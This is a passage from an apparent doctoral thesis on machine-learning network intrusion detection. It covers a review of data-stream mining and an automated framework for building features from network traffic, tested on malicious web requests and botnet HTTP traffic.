fline processing is generally batch-based and can be hours behind realtime data.
Hence it is relatively slow to detect anomalies. Also, if models are static they do
not cope well with evolving datasets.
Hence a more suitable method for detecting anomalies in computer networks
is online mining or data-stream mining. Data stream mining implies processing
each data instance as it arrives, taking a guaranteed limited amount of time,
using a bounded amount of memory, and anytime prediction of unseen samples.
2.8. Dynamic Models 59
Many other industries require real-time analysis of data streams, including
sensor networks, traffic management, credit card fraud, astronomy data, and
manufacturing processes. Algorithms and frameworks have therefore already
been developed to handle data stream mining.
Gaber et al. [77] review the theoretical foundations and techniques used in
data stream mining. The field has been made feasible through data-based and
task-based solutions. The data-based approaches examine only a portion of the
data, or transform the data to a smaller size. Examples include data sampling,
creating summaries such as histograms or wavelet analysis, or aggregated statis-
tics such as mean and variance. Task-based approaches address the computa-
tional requirements of online data mining. These include approximation algo-
rithms, and the use of sliding windows. Their review also covers different mining
techniques which have been adapted for data stream mining.
2.8.1 Data Stream Outlier Detection
Data mining techniques for outlier detection include distance measures such as K-
means, density measures, and clustering. These algorithms have all been applied
to data streams.
Pokrajac et al. [154] applied their existing local outlier factor (LOF) algorithm
to data streams. LOF is a density-based technique for detecting outliers which
has been used for intrusion detection. Their incremental LOF algorithm for data
streams instead calculates the outlier factor for each data instance in turn. To
ensure memory resources are bounded, data points are removed from the model
when no longer required.
Zhou et al. [204] created a clustering algorithm for data streams which uses
sliding windows. The sliding windows eliminate the influence of old records, and
bounds the memory consumption of the algorithm. Aggarwal et al. [2] also de-
velop a data stream clustering framework called CluStream capable of coping
with evolving data. The problem is divided into an online clustering process
which periodically stores summary statistics, and an oﬄine component used by
analysts to investigate these statistics over defined time horizons. The frame-
work uses microclusters to store the statistical information. Cao et al. [27] pro-
duce DenStream which is an online clustering algorithm using a damped window
model. In this model the weight of each data point decreases exponentially with
time, thereby allowing the model to adapt to current conditions. Domingos and
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Hulten [57] propose a method called very fast machine learning (VFML). This
has been applied to both K-means clustering (VFKM) and decision tree classifi-
cation (VFDT) to make the algorithms work with constant memory requirements
and constant time per data sample on data streams. VFDT use the authors’ Ho-
effding tree algorithm described in their paper. Decision tree algorithms such
as C4.5 assume all training samples can fit into memory at once. In contrast,
the Hoeffding tree algorithm aims to induce a tree on extremely large datasets
which cannot fit into memory by ensuring each training instance is only read at
most once, and in constant time. The algorithm assumes that to find the best
feature for the splitting criterion (see Section 5.2.2) at a particular node, only a
small subset of training examples at that node need to be considered. Hence, the
first subset of instances are used for the tree’s root node splitting criterion, and
the next subset for corresponding leaf nodes, and so on recursively. The mining
results asymptotically approach the results of traditional batch learners.
2.8.2 Data Stream Classification
Many papers concentrate on the problem of classification for data streams. Bifet
et al. [10] discuss using an ensemble of classifiers for analysing evolving data
streams. They introduce two new variants of bagging (see Section 6.2.4): AD-
WIN bagging, and Adaptive-size Hoeffding Tree (ASHT) bagging. Bagging and
boosting are well known ensemble learning algorithms. Their bagging methods
added a change detector to existing methods. When change is detected, the worst
performing classifier in the ensemble is discarded and a new classifier added.
Read et al. [160] build a general framework for multi-label classification in
evolving streams and test the framework on synthetic data. The framework is
called Massive Online Analysis (MOA) and is available publicly. They use the
Hoeffding trees algorithm to incrementally induce decision trees. Hoeffding trees
however assume the distribution generating examples does not change over time.
So, to cope with evolving data streams they additionally use ADWIN bagging to
detect change. When changes are detected the tree can be adapted to maintain
accuracy. The method differs from batch processing in that they process a single
example at a time and must deal with time and resource limitations. Hence the
framework can operate on streaming data.
Lowne et al. [125] tackle the problem of adaptive classification where the
classifier must cope with “concept drift”. They achieve this using a non-linear
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dynamic classifier where its parameters evolve using a Kalman filter. The system
only has access to class labels occasionally (sparse feedback), and hence is a semi-
supervised approach. With 20% class labels and a drifting non-stationary system,
the detector was still able to correctly classify 91% of samples for synthetic data.
Abdulsalam et al. [1] uses a dynamic streaming random forests algorithm for
classifying evolving data. Their algorithm is a combination of random forests,
streaming decision trees (as per Hoeffding Trees), and a modification to dynam-
ically handle concept drift. It was tested on synthetic data.
Some other interesting data stream applications include association rule min-
ing, and correlating concurrent streams. Su et al. [175] use incremental mining of
association rules for intrusion detection. A set of “clean” association rules were
first mined from a training set. Then during tests on real-time network traffic,
association rules are computed every 2 seconds, and these association rules are
compared to the clean set. The system is able to detect DoS attacks. However
their system is currently non-adaptive, since the initial “clean” association rules
are not updated, and the feature list is static. Another approach is taken by Zhu
and Shasha [205] to calculate statistics and correlations for thousands of concur-
rent times series data streams. Their approach is applied to financial markets,
but the approach could be used for other data streams, e.g. correlations between
network traffic flows.
2.8.3 Dynamic Model Discussion
A dynamic model is required for an anomaly-based IDS so the detector can
adapt to a changing computer network environment. The traditional data mining
approach to train, tune and evaluate will lose accuracy as the network evolves
away from the initial training data. The literature review of dynamic models has
pointed to some solutions:
• Data stream mining: can be used for a continuous stream of data such
as computer network traffic. Data stream mining bases its algorithms on
traditional batch data mining, but adapts them so they can iteratively
process records.
• Dynamic classifiers: models can be maintained and updated using a change
detection module, e.g. detecting changes in clusters, or pruning particular
classifiers in an ensemble which produce incorrect results.
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As indicated by Tan et al. [177], Hoeffding trees are a state of the art approach
to classifying data streams and can be used to adapt to concept drift (dynamic
models). However their disadvantage is they require ongoing labelled datasets for
training. It is unclear how this can be used in anomaly-based intrusion detection,
where due to the large data volumes involved, creating a labelled dataset is very
time consuming. Further investigation is required to see if semi-supervision is
possible through operator feedback and/or automated feedback from other tools
such as antivirus detectors.
Unsupervised approaches such as one class SVM or clustering are more feasi-
ble for network traffic. Examples from the literature include CluStream [2] and
online novelty and drift detection algorithm (OLINDDA) [173].
2.9 Conclusions
This literature review has provided a comprehensive review of the network traf-
fic features and data preprocessing techniques used by ML-based NIDS. Com-
mon, useful data preprocessing strategies included the aggregation of packets
into flows to allow more contextual analysis, and statistical measures of packet
headers across multiple flows to detect anomalous patterns. Data preprocessing
techniques for packet content (payloads) were also identified. The KDD Cup 99
features have been used by many researchers to evaluate their algorithms. It is a
popular benchmark dataset because it is one of few datasets in network security
to be preprocessed and labelled. However, many other researchers have created
their own set of features from proprietary network traffic.
The reviewed papers were grouped into tables based on the types of network
traffic features they analyse. The table sizes indicate a historical heavy focus
on packet header-based approaches. These approaches may still be valid today
for network management, for monitoring internal networks and for behavioural
analysis. However they are not sufficient for NIDS, since the widespread use of
perimeter defenses has forced attackers to use new vectors such as web-based at-
tacks and crafted application data. Features derived from packet content (rather
than headers) are required to reliably detect these attacks. While the review
found some papers deriving features from payloads, more research in this area
would be expected in the future.
The use of dynamic models was also reviewed. Several techniques from the
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literature have been identified which would allow anomaly-based detectors to
both process continuous data streams and adapt to evolving networks.
This literature review informs work in building new ML-based network se-
curity applications by listing a wide range of features to consider. It showed
that overt malicious activity such as scans and DoS can be detected using packet
header information alone, but that more subtle attacks require information from
application level protocols to support detection. Hence our work on HTTP and
DNS tunnel detection is likely to require features constructed from the HTTP
and DNS protocol respectively.
The review also organises features by type, such as packet header, SCD,
MCD or payload features. Software modules can be written for each of these
feature types to automatically construct them. As more features are discovered,
their construction can be added to the appropriate software module. The soft-
ware would be useful as part a feature engineering framework to automatically
construct features from network traffic for use with ML.
In the next chapter we apply knowledge from this survey, such as useful
network traffic features, to develop an automated feature engineering framework.
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Chapter 3
Automated Feature Engineering
In Chapter 2 we surveyed previous feature engineering research applied to net-
work security, and found many papers used domain knowledge and an iterative
process to find relevant features. In an effort to use more automation, we develop
a feature engineering framework in this chapter for generating relevant features
for a given network security application, directly from network traffic.
3.1 Introduction
As discussed in Section 1.1.7, in order to apply ML to network traffic, it must
first be preprocessed into fixed-size feature vectors. However, network traffic is
information rich, with many possible ways to encode information into features.
It is often unclear what features should be constructed. Should features encode
information about users, hosts, applications or protocols? Should that informa-
tion be considered separately for each network connection, or be monitored over
time?
In this chapter we use automated feature engineering to address these ques-
tions. The generated features are informed by the literature review of data pre-
processing for network security applications in Chapter 2. The review found a
range of features have been used from packet headers, protocol information, and
payload data. The features have been generated in different contexts: individual
packets, single flows, or across multiple flows. We consider all these features
when developing the framework. Hence the features are domain-specific, i.e. rel-
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evant to network security. Our work has similarities to other automated feature
construction techniques reviewed in Section 4.2.3.
A number of the papers in the literature review take an anomaly detection
approach. Anomaly detection has been studied extensively as a complementary
technique to overcome limitations of misuse-based systems. However, in the field
of network security, anomaly detection has not been widely used beyond research
projects, i.e. it is not common in commercial appliances. Sommer and Paxson
[171] argue this is due to some fundamental challenges in the field. These chal-
lenges include: the high volume and diversity of network traffic making it difficult
to fully model; the false assumption that outliers always indicate attacks; and
the high cost of investigating false alarms. For these reasons they suggest formu-
lating the detector as a binary classification problem trained on both normal and
malicious traffic samples (rather than just normal samples as used in anomaly
detection): “... one can train the system with specimens of the attacks as they
are known and with normal background traffic, and thus achieve a much more
reliable decision process”.
In line with the suggestion, we design the automated feature engineering
framework for binary classification applications. The same features can be used
for either anomaly detection or binary classification. Hence all the features iden-
tified in the literature review are still relevant. The main difference when moving
from the single class problem (anomaly detection) to binary class is that training
data for both classes needs to be provided. This is because binary classification
uses supervised machine learning to build a model from a training set of both
positive and negative samples. Therefore, each application using this framework
requires both positive and negative samples for training.
3.1.1 Aims and Contribution
Our aim is to automatically generate relevant features from network traffic which
are suitable for input to a ML-based network security application. This should
eliminate some of the ad-hoc processes used to construct and select features
manually.
The contribution in this chapter is a description of an automated feature en-
gineering framework to generate a set of candidate features from network traffic.
As an initial validation of the framework, we use it when performing preliminary
experiments on two network security problems: the detection of malicious web
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Figure 3.1: Automated feature engineering framework components
requests, and the detection of HTTP botnet traffic.
The framework provides several advantages. Firstly, it leverages previous
network security research by generating candidate features which have previously
been shown to be useful. Secondly, it uses an objective measurement to select
the most relevant features for a given application from the candidate set, rather
than relying on domain expertise. Thirdly, it should enable data scientists to
more readily apply their skills to network security problems. Many data science
papers were published on the KDD Cup 1999 dataset which is a preprocessed and
labelled version of network traffic. Our automated feature engineering framework
should enable researchers to create similar datasets from recently captured traffic.
3.2 Automated Feature Engineering Framework
Our framework defines a way to generate features from raw network traffic. The
framework is applicable to arbitrary network protocols including application-
layer protocols such as HTTP, DNS, NTP, LDAP or SMTP.
Generating a set of discriminative features is essential for accurate classi-
fication using ML. Hence the framework assists the development of accurate
classifiers directly from network traffic.
As shown in Figure 3.1 the main components of the framework are: the
network protocol parser, feature transformer, feature constructor and the feature
selector.
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3.2.1 Network Protocol Parser
Network traffic captured from a packet switched network can contain packets
for many simultaneous transactions between many hosts. An individual packet
normally contains only a small part of a single transaction, and so is rarely
analysed standalone. Instead, to analyse traffic, all packets belonging to a single
transaction are grouped together into a flow. The grouping is repeated for each
transaction. The network protocol parser therefore outputs traffic information
per flow, where a flow is defined as:
Definition 3.2.1. A unidirectional flow is a sequence of related packets sent over
a network from one IP address to another. A packet belongs to a flow if it matches
the flowkey, defined by the combination of source IP, destination IP, source port,
destination port, IP protocol and VLAN ID. A flow can be closed by the protocol
or ends after a timeout period. A bidirectional flow is the combination of a flow
and its counterpart in the opposite direction, i.e. one with the same flowkey when
the source and destination fields are swapped. The term flow can refer to either
the bidirectional (also known as a network connection) or uni-directional case.
Complications occur when packets arrive out-of-order, are missing, or when
duplicate packets are observed. In those situations, if the contents of successive
packets are simply appended, then the content will be corrupted. Hence, to
extract content accurately from traffic payloads, the packets must be reassembled
in correct order. To determine the correct packet order, the network protocol
parser needs to follow the applicable protocol. For example, TCP traffic has
sequence numbers to assist TCP session reassembly. In this chapter, whenever
we refer to flows we assume they are constructed from packets in proper order.
Definition 3.2.2. A single-connection-derived (SCD) feature is calculated from
information in only a single flow without taking into account any historical in-
formation.
Once packets have been grouped into a flow, the job of the network protocol
parser is to follow the chosen protocol and extract the value of each field. The
fields are output as SCD features.
A network protocol parser generally analyses traffic in each flow separately.
The decoding allows interpretation of what the protocol is being used for. The
parser may also calculate simple statistics within the flow. The parser output is
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vectorised to make it suitable for ingestion by ML algorithms. Output consists
of field names in a header vector, and values in a separate vector for each flow.
We use comma-separated values (CSV) format, with each non-header row called
a base SCD vector.
Definition 3.2.3. A base SCD feature vector is the vector of SCD features
output by the network protocol parser for each flow. It is termed “base” because
it is the unaltered output of the parser, including any free-text field values. Each
base feature vector x has the same number of dimensions |x| = nx. The items
xi have fixed position in the vector so they can be matched to their name and
type. The supported feature types are numeric, binary, categorical, string and
identification (id).
Numeric features can be real numbers or integers, e.g. to represent flow du-
ration or content length respectively. Binary features may represent flags, e.g.
presence of a TCP SYN flag. Categorical features are used when a feature can
take on a finite set of values, e.g. HTTP method, while string features are used
for free-text. Lastly, ID features are used for identification purposes only, and are
not exposed to the ML algorithm. This includes features used for aggregation
such as an IP address, and also includes features which identify a flow uniquely so
the output of ML can be traced back to the original network traffic. ID features
may be of any base type (e.g. string or numeric), but instead of being processed
by the framework, they are allowed to “pass-through” to the next stage.
Examples of the different types of features produced by parsers are shown in
Table 3.1.
Description Name Type Value
Free-text parsed field HTTP header “Host” string google.com
categorical parsed field HTTP method categorical GET
counter packet count numeric 10
union union of TCP flags categorical AS
average average packet inter-arrival time numeric 0.123
flag TCP Reset flag binary 1,0
Table 3.1: Example SCD features names and types
3.2.2 SCD Feature Transformer
SVMs are the most used ML algorithm in this thesis. The algorithm requires
all input features to be numeric. Other ML algorithms have similar limitations
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on the data types they support. Hence, the next component in the framework
is the SCD feature transformer, which converts all features (from the previous
component) to the correct type. The current implementation converts all features
to numeric type.
Categorical features are converted to numeric using a method called “one-
hot” encoding. The encoding converts a categorical feature with m possible
values into m binary features with only one of the binary features active in each
vector.
Binary features such as {true, false} are converted to {1, 0} and treated as
numeric.
String features are transformed to numeric by applying a set of operators to
to the string. After being transformed, the original string can be discarded. The
operators currently applied to each string are length, entropy and unigram as
defined in Equation 3.1. Length is simply the number of bytes in the string. The
length can indicate when a field is being misused. Shannon entropy measures the
average information content in the string. Encrypted, compressed and normal
text can be differentiated using an entropy measure. Unigrams show the byte
frequency distribution of ASCII characters within the string. Since there are 256
possible ASCII characters, the unigram output has vector length 256, with each
item representing the frequency of that character. This is a detailed representa-
tion of the string and can identify unusual usage of individual characters, or can
be used with a distance metric to compare unigrams.
∀si ∈ s,
Length: li = byte count(si)
Entropy: hi = −
255∑
k=0
Pk(si)log2Pk(si)
Unigram: ui = [f0(si), f1(si), . . . , f255(si)]
(3.1)
where s = [s1, s2, . . . , sns ] are all the base string features, Pk(si) is the probability
of character k in string si, and fj(si) is the frequency of ASCII character j in
string si.
After applying operators to all string features, the remaining feature types
are: numeric and id. Even though each element of the unigram is numeric, we
still identify unigram features as their own type in the feature vector. This is done
to allow future operators (such as a distance metric) to be applied to the whole
unigram, and also to provide flexibility in choosing whether operators should be
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applied to unigram elements or not. The SCD feature transformers therefore
convert the original base features x into x’ = [d’,u, i] where d’ is the new set
of numeric features, u are the unigram features, and i are flow identification
features.
3.2.3 MCD Feature Constructor
For a given sample of network traffic, the previous component outputs an SCD
feature vector for each flow. For a sample containing N flows, there will be a
dataset of N feature vectors (instances). These instances are input to the MCD
feature constructor component which creates additional features calculated from
information in multiple flows. The additional features are added to each SCD
feature vector.
Definition 3.2.4. Multiple-connection derived (MCD) features are metrics cal-
culated across multiple flows. They aim to represent a pattern or behaviour not
observable within a single flow. For all input numeric features d’, operators are
applied to their values over multiple feature vectors (instances). The operators
currently used in the framework are average and standard deviation. These op-
erators are applied over a window of W flows for each aggregation context c.
The window size is configurable. Its default value is 20 flows to observe recent
behaviours. The window could instead be specified as a time interval to observe
activity within a specified time range.
Another important configuration option is the aggregation context c.
Definition 3.2.5. An aggregation context c is the chosen feature (or set of
features) by which flows are grouped. Each group of flows (also known as an
aggregation) can be measured to calculate new MCD features.
The way flows are aggregated affects what type of activity or behaviour is
visible in MCD features. Aggregation contexts c are configurable, with common
options:
• global - measures changes in overall traffic, such as volume spikes
• per IP address - measures host behaviour
• per {source IP, destination IP} pair - measures all traffic between pairs of
hosts
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• per {source IP, destination IP, destination port} - measures traffic from a
client host to a single service.
MCD operators are applied to each numeric feature d′i over a window of the
most recent W flows in the dataset of N flows. The current MCD operators in
Equation 3.2 are:
Average: µ(d′i) =
1
W
W∑
w=1
d′i
Standard deviation: σ(d′i) =
√√√√ 1
W
W∑
w=1
(d′i − µ(d′i))2
(3.2)
The average µ and standard deviation σ MCD features are generated for each
numeric feature d′i in each context c. These new MCD features are added to the
feature vector for each flow.
∀N input feature vectors,∀d′i ∈ d’,∀c
d′′i = [d
′
i, µ(d
′
i), σ(d
′
i)]
d′′ = [d′′1, d
′′
2, . . . , d
′′
nd
]
After MCD features are added, the candidate feature set for each flow be-
comes:
x′′ = [d′′,u, i]
Hence the new candidate feature set is simply the same number N of SCD
feature vectors, but with MCD features added to each.
3.2.4 Feature Selection
The previous two components have both increased the size of the candidate fea-
ture set. Having many features increases training time, leads to a more complex
ML model, and can cause overfitting. Hence, this component uses feature selec-
tion to reduce the feature set size while preserving the most informative features.
The most informative (or discriminative) features are selected based on the
class label for each flow. Irrelevant and redundant features with respect to the
class label are discarded. To enable this feature selection, class labels yi must
be added to the dataset. Network security applications are often made up of
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binary classification problems such as determining whether a flow is “normal”
or “malicious”. Hence the class label can be represented as 0 or 1, with the
appropriate value simply appended to each feature vector.
The input to feature selection is a dataset of labelled flows:
(X,Y) =

x′′1, y1
x′′2, y2
...
x′′N , yN
 (3.3)
where X is the set of candidate features for N flows, and Y are the corresponding
class labels.
The result of feature selection is a dataset containing the same number of
labelled flows:
(Xs,Y) =

xs1, y1
xs2, y2
...
xsN , yN
 (3.4)
The difference is that each feature vector xsi is now smaller in size as a result of
selecting a subset of features, i.e. |xsi | < |x′′i |
In this thesis, two feature selection algorithms have been used: Information
Gain and GRRF. We now describe both algorithms, leaving a more thorough dis-
cussion of feature selection for Section 4.3.3. We initially used Information Gain,
but its output is a score for each feature. Hence, to select a subset of features
required a threshold to be set. The threshold could either be the minimum score,
or the maximum number of features to select (starting with the highest score).
Choosing these thresholds appeared arbitrary. Hence we later used GRRF which
returns the feature subset without requiring an explicit threshold parameter.
Information Gain
A simple method to rank features in a training set is by measuring the informa-
tion gain of each attribute with respect to the class label, i.e. how well do the
values of each attribute predict the class label. The algorithm can be used in
feature selection by choosing only those features with information gain above a
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threshold value.
Information gain is implemented in Weka [188] as a function called Info-
GainAttributeEval. The implementation discretizes all numeric features, and
is calculated using formula:
InfoGain(class, attribute) = H(class)−H(class|attribute) (3.5)
where H is entropy and class can take discrete values 1, . . . ,M . Entropy is
calculated using
H(class) = −
M∑
m=1
P (classm)× log2P (classm)
The probability of each class is estimated as
P (classm) = Nm/N
where Nm is the number of instances in the training set belonging to class m,
and N is the total number of training instances.
An entropy value of 0 represents purity (only a single class present), and 1
represents maximum impurity which occurs when all classes have equal proba-
bility in the training set.
H(class|attribute) is calculated in a similar way for each attribute. After
discretizing the attribute, the training set is split according the value of the
attribute. A branch is created for each unique value of the attribute, with all
training instances matching that value being allocated to the branch. H(class)
is then calculated on each branch. H(class|attribute) is the weighted sum of the
entropy on each branch. Information gain is then calculated as per Equation 3.5.
GRRF
We also used Guided Regularised Random Forests (GRRF) for feature selection
[50]. The key idea is that as part of the learning process, tree-based models
choose which feature at each node provides the most information gain. Since
GRRF uses a random forest, it generates a tree-based model from the training
data. Hence, combining all chosen features in the trees gives a set of “selected
features” used in the model. Any feature omitted from the model is deemed
irrelevant. The algorithm is described in more detail in Section 6.2.6.
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3.2.5 Machine Learning
A machine learning algorithm can directly use the dataset of labelled flows
(Xs,Y) produced by the previous framework component to train a classifier.
The choice of ML algorithm is up to the user. We do not consider the ML algo-
rithm as part of this framework. Instead, the framework is limited to converting
network traffic into labelled feature vectors suitable for ML. It does not address
further ML steps such as allocating feature vectors to train, cross-validation and
test datasets, or running the ML algorithm. Since the datasets produced by
the framework contain numeric features only, they are suitable for a number of
machine learning algorithms. In this thesis we have used SVMs, C4.5 decision
trees, and random forests.
After training and testing a model, a user may want to deploy it in the
network. During deployment, feature engineering is still required to process
ongoing network traffic and construct a set of features for each observation. The
same features must be supplied as those used during training of the final model.
The automated feature engineering framework is not currently optimised for this
deployed role. For each network flow, the framework is designed to produce a
large set of features before narrowing down to the most relevant subset. While
this is useful for the initial training phase, it is inefficient for ongoing operation.
Instead, more optimised software should be written to construct only the relevant
subset of features from network traffic.
3.3 Framework Experiments
We now test whether our automated feature engineering framework is suitable
for a range of applications. Our preliminary tests involve building classifiers for
two different network security problems.
3.3.1 Malicious Web Request Classifier Experiment
Our hypothesis is that we can use the automated feature engineering framework
described in this chapter for multiple network security applications. Our first
application is a detector for malicious web requests, i.e. detecting remote attacks
against a web service. Since malicious web requests occur in HTTP traffic, our
framework is applied to HTTP traffic.
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Network traffic was captured from a BreakingPoint traffic generator while
running its full suite of attacks against Apache and IIS webservers and while
also generating background normal traffic. Normal traffic included 3958 sessions,
while the Apache and IIS attacks were 1723 and 1720 sessions respectively. The
Apache attacks and half the normal traffic was used for training, while IIS attacks
and the other half of normal traffic were used for testing. We chose to split the
traffic this way so different attacks are in the training set versus the test set. This
ensures we are testing whether the classifier can detect web attacks generally,
rather than only the exact attacks seen in the training set.
Normal Malicious <= classified as
1946 33 Normal
0 1720 Malicious
Table 3.2: Confusion matrix for malicious web request classifier
The classifier achieved an Fscore of 0.9905 based on the results shown in
Table 3.2. While this was only a simple experiment and far from exhaustive,
the positive result for this classifier gives us some confidence that we can use
the automated feature engineering framework for network security applications
rather than requiring a manual approach to feature engineering.
In this experiment, the Information Gain algorithm was used for feature selec-
tion. This showed the highest ranked features were related to HTTP responses.
By analysing the network traffic we noticed that many of the malicious web
requests never received a response, whereas normal web traffic always received
a response. Hence the classifier has identified the lack of HTTP response as a
distinguishing feature.
To visualise the dataset, we applied principal component analysis (PCA) to
the training set and plotted the three dimensions in Figure 3.2. We used Weka’s
weka.attributeSelection.PrincipalComponents class [188]. Weka’s imple-
mentation transforms the data into a configurable smaller number of dimensions
(we chose 3 dimensions), while accounting for 95% of the variance in the data.
The three output dimensions are pca0, pca1 and pca2. We analysed the first
principal component (pca0), and found it was comprised of response body un-
igram features. The second principal component was found to include HTTP
request body unigram features, and the third contained response header statis-
tics and unigrams. The normal sessions are largely separated from the malicious
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sessions with most separation achieved with pca0, i.e. separation with response
unigrams since attack traffic did not always have responses.
pca0
0
1
2
pca1
0
1
2
pca2
0
1
2
Web Sessions
Figure 3.2: Malicious web request scatter plot: blue triangles = normal; red
circles = attacks
Since the lack of HTTP response would not likely be a reliable discriminator in
real-world traffic we decided to re-train the classifier using only features related to
the HTTP requests. In this case the classifier achieved a slightly lower Fscore of
0.9901. This time the Information Gain ranking showed highest ranked features
were the request header entropy in each context (per src, per dst, per srcdst
pair) followed by the request header length. The decision to omit HTTP response
features was based on domain knowledge. HTTP responses cannot be the attack,
but rather only a response to the attack. Hence HTTP response traffic would
ideally have been filtered out when the problem was defined, i.e. the problem is
to identify web attacks in HTTP requests. Automated feature engineering could
then be applied to the filtered traffic.
Since these results are encouraging, we are ready to apply the automated
feature engineering framework described in this chapter to other network security
applications for further validation.
78 Chapter 3. Automated Feature Engineering
3.3.2 Botnet HTTP traffic Classifier Experiment
We chose botnet detection as another relevant network security problem for test-
ing the automated feature engineering framework. There is already a large body
of prior art on Botnet detection. A recent example from the literature tests
machine learning on traffic from sixteen botnets [8]. Their paper has a similar
focus to ours by concentrating on which features are most useful for detection.
While they construct features from information extracted from packet headers
only, our approach is complementary in that we use application-level features.
The authors made their full pcap botnet dataset available and provide informa-
tion on their website1 for labelling the data. Therefore we were able to use their
dataset to test whether the automated feature engineering could be applied to
botnet detection. We used the same implementation of the framework as per
the previous test, and hence we were limited to analysing HTTP traffic in the
dataset. Only two of the botnets in the dataset are HTTP-based: Virut and
Sogou. A large amount of the background traffic in the dataset was also HTTP.
Applying automated feature engineering to the training dataset resulted a
labelled feature vector for each HTTP session. Of these feature vectors, 134
were labelled Virut (Sogou was not present in the training data), and over
200,000 non-Virut HTTP sessions which we label as “normal”. We therefore
subsampled the normal traffic to create a more balanced training set suitable for
supervised machine learning. This was done using Weka’s SpreadSample filter
which was configured to ensure all Virut samples were retained and only 13,400
normal samples were randomly taken from the remainder of the dataset. A C4.5
decision tree model was trained. This model was applied to the test dataset
(HTTP traffic only) and the results are shown in Table 3.3.
Normal Botnet <= classified as
50931 483 Normal
2379 206 Botnet
Table 3.3: Confusion matrix for botnet HTTP traffic classifier
From the results we see the majority of the test traffic is non-Virut which is
predicted with reasonable accuracy. The overall accuracy is 94.7% with a false
positive rate of only 0.8%, however the Fscore was only 0.13. The low Fscore
1University of New Brunswick http://www.unb.ca/research/iscx/dataset/ISCX-botnet-
dataset.html
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is due to only approximately 10% of the HTTP botnet traffic being detected in
the test dataset. Our results compare favourably to Beigi et al. [8] who report
75% accuracy and 2.3% false positives on the whole test dataset. However, since
we only analyse HTTP traffic and a smaller number of botnets, our problem is
significantly easier.
The root node in our decision tree predicts Virut HTTP sessions when the
feature “byte count sum of the HTTP Request headers per source host” is greater
than 12,760 bytes. This feature is important because approximately half of the
Virut HTTP traffic in the training set is to mail.live.com and has a large HTTP
header due to the cookie and referer fields. In the test dataset, Virut is detected
194 times with 52 sessions to live.com, and Sogou 12 times with all traffic to
sogou.com (even though Sogou was not in the training data). While detecting
traffic such as live.com is not intuitively a good discriminator, since other users
could visit the site legitimately, the result comes naturally from the training set.
This is both a strength and weakness of supervised machine learning.
In this dataset, botnet communication appears unconstrained. Bots can com-
municate via IRC, send SMTP traffic or communication with services running
on ephemeral ports. The large variety of communication allowed in the network
makes modelling the traffic difficult. Furthermore, analysing only HTTP traffic
is a major limitation of our approach as we only see part of the Virut traffic.
The hosts labelled as Virut generated a range of network traffic including DNS
4%, SSL 62%, IRC 10%, HTTP 9%, SMTP 2% and port 65500 12%. In a more
constrained environment such as the enterprise network considered in our work,
much of this traffic would be blocked and hence a detector analysing only HTTP
may be more useful.
3.4 Discussion
In this chapter we developed an automated feature engineering framework to
generate features directly from network traffic suitable for input to ML algo-
rithms. After generating a large candidate set of features, the framework selects
the most relevant features for each application provided labelled samples are
available. To test the framework, we used it to build a malicious web request
classifier and a botnet classifier. Preliminary experiments with those classifiers
showed promising results.
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In Section 3.3.1 we hypothesised that the framework would be suitable for
multiple network security applications. Our initial tests show the framework
can indeed be used for multiple applications, however the tests do not measure
how effective the approach is compared to either manual feature engineering, or
other methods in the literature. Hence we perform more thorough tests of the
framework in Chapters 4 and 5 to make those comparisons.
If we can show that automated feature engineering is effective for multiple
problems, it would have potential to benefit data scientists by alleviating the
need to perform manual, iterative feature engineering from network traffic.
3.4.1 The Case for Automated Feature Engineering
When there are multiple security applications analysing the same protocol in the
same network traffic, it should be possible to perform some of the framework steps
only once, and reuse the results for the other applications. The benefit would be
to avoid repeating several preprocessing steps. For example the network protocol
parser, SCD feature transformer and MCD feature constructor components of
the framework could be run once. The output could be shared by multiple
detectors. The feature selection step would need to be applied separately for
each application, to find the most relevant features for the supplied class labels.
In our two preliminary experiments we used data from different sources, so the
framework needed to be run in full in both cases.
When faced with a new network security threat, a proactive security analyst
may choose to study examples of the threat and develop their own detector.
This would typically involve manual analysis of network traffic to look for dis-
tinctive patterns. Once discovered, the patterns could either be encoded into a
signature-based detector, or specific features could be extracted from the traffic
so the pattern could be detected by ML-based detector. These are valid ap-
proaches. However, they require significant manual effort, and may take several
iterations of development before the detector works as desired (generating true
positives and limiting the number of false positives). We suggest an alternative
is to use ML to find discriminative traffic features. There are pros and cons to
using ML over manual analysis. Manual analysis allows the analyst to use their
considerable domain expertise and knowledge of external events to inform their
development of a detector. On the other hand, ML can analyse large volumes of
data quickly to discern complex patterns. We suggest applying ML mainly as a
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tool to enhance productivity. ML can quickly identify discriminating patterns in
network traffic and either suggest them to the analyst, or use them to directly
build a detector automatically. To achieve this, we have developed our auto-
mated feature engineering framework. Given a protocol to analyse, and samples
of the threat and normal traffic, the automated feature engineering framework
will find features to discriminate the two types of traffic. To do this, it constructs
a large set of candidate features, and uses feature selection to find which features
are most discriminative. The output is a dataset containing the selected features
and class labels ready for ML. The security analyst can either just view the se-
lected features to gain some understanding of how the threat traffic differs from
normal traffic, or they can apply the dataset to a simple ML algorithm such as
a decision tree to create a prototype detector. The analyst can also then inter-
pret the decision tree, again to understand how ML discriminates the traffic. At
the very least the security analyst can use this information when building their
own detector. At best, if the ML model is convincing, it can be configured and
deployed as the detector.
We speculate that creating features automatically will become more common
as ML is applied to more fields of work. Otherwise, the manual work required
to construct relevant features in each field will hinder the adoption of ML.
3.4.2 Relationship to Artificial Neural Networks
Feature engineering has been an issue when applying ML to any field including
popular ML problems such as optical character recognition, speech recognition,
image recognition and language translation. Feature engineering has tradition-
ally been performed by domain experts in a specific way for each field. For
example, in the field of facial recognition, experts originally chose key facial fea-
tures such as the relative position, size and shape of the nose, mouth and eyes.
These features were then used to find the same face in other images. How-
ever, Facebook’s DeepFace facial recognition system takes a different approach
[176]. Instead of using well-engineered features, DeepFace uses a deep learning
framework to learn faces from their raw RGB pixel values. In 2014, DeepFace
achieved 97.35% accuracy on a benchmark dataset called the Labelled Faces in
the Wild. Their results were a large improvement on previous attempts. The
success of DeepFace and other applications has demonstrated the effectiveness
of deep learning. The relevance to this thesis is that deep learning automatically
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constructs features (in hidden layers) in a data driven way. This is similar to the
intention of our automated feature engineering framework.
Deep learning refers to learning for deep artificial neural networks (ANNs).
These networks are based on the ANNs developed decades earlier. ANNs are
made up of artificial neurons which have a numeric value associated with them
called a bias. Their bias value indicates to what degree the neuron is turned “on”.
Neurons are connected to each other, with each connection having a weight.
When initialising an ANN, all neuron biases and connection weights can be
assigned a random value. A simple ANN architecture consists of an input neuron
layer, one or more hidden layers of neurons, and an output neuron layer. The
number of neurons in the input layer is determined by the input information,
e.g. for a 10x10 pixel grey-scale image, 100 neurons may be used, with each
representing the grey-scale value of a single pixel in the range zero (black) to
